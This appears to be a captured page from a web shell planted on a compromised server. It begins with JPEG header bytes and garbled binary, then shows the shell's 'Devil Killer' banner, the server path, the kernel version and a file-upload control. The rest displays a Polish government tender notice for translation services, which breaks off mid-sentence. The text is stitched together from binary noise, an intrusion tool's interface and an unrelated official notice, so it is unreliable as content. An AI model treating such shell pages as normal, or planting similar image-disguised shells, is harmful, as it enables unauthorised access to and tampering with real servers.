JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20191119/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20191119/624200-N-2019.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 624200-N-2019 z dnia 2019-11-19 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Instytut Pamięci Narodowej - Komisja Ścigania Zbrodni przeciwko Narodowi Polskiemu</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Usługi sukcesywnych tłumaczeń pisemnych i symultanicznych z języka polskiego na języki obce oraz z języków obcych na język polski</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Usługi</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Nie</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu"></span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej – mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Instytut Pamięci Narodowej - Komisja Ścigania Zbrodni przeciwko Narodowi Polskiemu</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">16365090000000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">Wołoska</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">7</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">02-675</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Warszawa</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">mazowieckie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">225 818 803</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">wzp@ipn.gov.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">225 818 814</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url"></span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Inny (proszę określić):</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny">Organ władzy publicznej</span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia"></span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">www.ipn.gov.pl</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Tak</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">pisemnie</span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">Centrala Zamawiającego: ul. Wołoska 7, 02-675 Warszawa, Kancelaria</span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Usługi sukcesywnych tłumaczeń pisemnych i symultanicznych z języka polskiego na języki obce oraz z języków obcych na język polski</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">BAG-79/19</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Usługi</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy"></span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">Przedmiotem zamówienia jest świadczenie na rzecz Instytutu Pamięci Narodowej – Komisji Ścigania Zbrodni przeciwko Narodowi Polskiemu usług sukcesywnych tłumaczeń pisemnych i symultanicznych z języka polskiego na języki obce oraz z języków obcych na język polski.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">79530000-8</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>79540000-1</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc"></span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc"></span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów – szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Nie</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst"></span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach">12</span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach"></span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Okres w miesiącach</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Okres w dniach</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Data rozpoczęcia</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Data zakończenia</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>12</TD><TD style='border: 1px solid black;border-collapse: collapse;'></TD><TD style='border: 1px solid black;border-collapse: collapse;'> </TD><TD style='border: 1px solid black;border-collapse: collapse;'></TD></TR></TABLE> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow"></span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow"></span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy:1)	spełniają warunki określone w art. 22 ust. 1 pkt 2 Pzp, a w szczególności:a)	wykażą się odpowiednią zdolnością techniczną, tj. wykażą wykonanie lub wykonywanie w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie:	w zakresie Części 1:	minimum trzech (3) usług tłumaczeń pisemnych tekstów z zakresu prawa, administracji, techniki i szeroko rozumianej informatyki z języka polskiego na język: •	niemiecki i/lub odwrotnie, •	angielski i/lub odwrotnie,•	francuski i/lub odwrotnie, •	rosyjski i/lub odwrotnie, •	ukraiński i/lub odwrotnieo łącznej wartości minimum 70.000,00 PLN brutto,oraz	minimum jednej (1) usługi tłumaczeń pisemnych dokumentów historycznych: •	z języka polskiego na język angielski i/lub odwrotnie,•	z języka polskiego na język ukraiński i/lub odwrotnie,•	z języka polskiego na niemiecki i/lub odwrotnie, •	z języka polskiego na rosyjski i/lub odwrotnieo łącznej objętości min. 5 arkuszy wydawniczych (200 000 znaków ze spacjami) wydanych w publikacjach historycznych,	w zakresie Części 2:- min. dwóch (2) usług polegających na dokonywaniu tłumaczeń symultanicznych, w językach określonych w rozdziale III ust. 3 pkt 1 SIWZ, z zakresu historii najnowszej o łącznej wartości minimum 70.000,00 zł brutto.UWAGAW przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, jak i w przypadku polegania na zasobach podmiotu trzeciego w zakresie wykazania się odpowiednią zdolnością techniczną - warunek określony powyżej musi być spełniony w całości przez co najmniej jeden podmiot tj. jeden lub każdy z podmiotów musi indywidualnie posiadać wymagane doświadczenie. b)	wykażą się odpowiednią zdolnością zawodową, tj.:	w zakresie Części 1:	dysponują minimum po jednej (1) osobie dla każdego z języków obcych, wymienionych w rozdziale III ust. 2 pkt 1 niniejszej SIWZ, biegle władającej danym językiem obcym oraz posiadającej minimum 3-letnie doświadczenie w wykonywaniu czynności tłumaczeń, która wykonała co najmniej 5 tłumaczeń w ostatnich trzech latach.	UWAGA!!! dopuszczalne jest dysponowanie osobami biegle władającymi kilkoma językami obcymi wymienionymi w rozdziale III ust. 2 pkt 1 niniejszej SIWZ i posiadającymi doświadczenie w wykonywaniu czynności tłumaczeń.	dysponują minimum po jednej (1) osobie dla każdego z języków obcych, wymienionych w rozdziale III ust. 2 pkt 1 niniejszej SIWZ - wykonującej ZAWÓD TŁUMACZA PRZYSIĘGŁEGO i spełniającej wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2017 r. poz. 1505 t.j.) - dopuszczalne jest dysponowanie osobami wykonującymi zawód tłumacza przysięgłego dla kilku ww. języków obcych, przy czym warunek wykonywania zawodu tłumacza przysięgłego stosuje się odpowiednio do każdego z języków obcych.	w zakresie Części 2:	dysponują minimum trzema (3) osobami dla każdego z języków obcych, wymienionych w rozdziale III ust. 3 pkt 1 niniejszej SIWZ, biegle władającymi danym językiem obcym oraz posiadającymi minimum 3-letnie doświadczenie w wykonywaniu czynności tłumaczeń symultanicznych, z których każda wykonała co najmniej dwa (2) tłumaczenia symultaniczne z zakresu historii najnowszej.UWAGA!!! dopuszczalne jest dysponowanie osobami biegle władającymi kilkoma językami obcymi wymienionymi w rozdziale III ust. 3 pkt 1 niniejszej SIWZ i posiadającymi doświadczenie w wykonywaniu czynności tłumaczeń.</span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow"></span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Nie</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen"></span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu">Wykonawca, którego oferta została najwyżej oceniona zostanie wezwany do złożenia:1) WYKAZU USŁUG zawierającego: 	w zakresie Części 1:a)	minimum trzy (3) usługi tłumaczeń pisemnych tekstów z zakresu prawa, administracji, techniki i szeroko rozumianej informatyki z języka polskiego na język: •	niemiecki i/lub odwrotnie, •	angielski i/lub odwrotnie,•	francuski i/lub odwrotnie, •	rosyjski i/lub odwrotnie, •	ukraiński i/lub odwrotnieo łącznej wartości minimum 70.000,00 PLN brutto,orazb)	minimum jedną (1) usługę tłumaczeń pisemnych 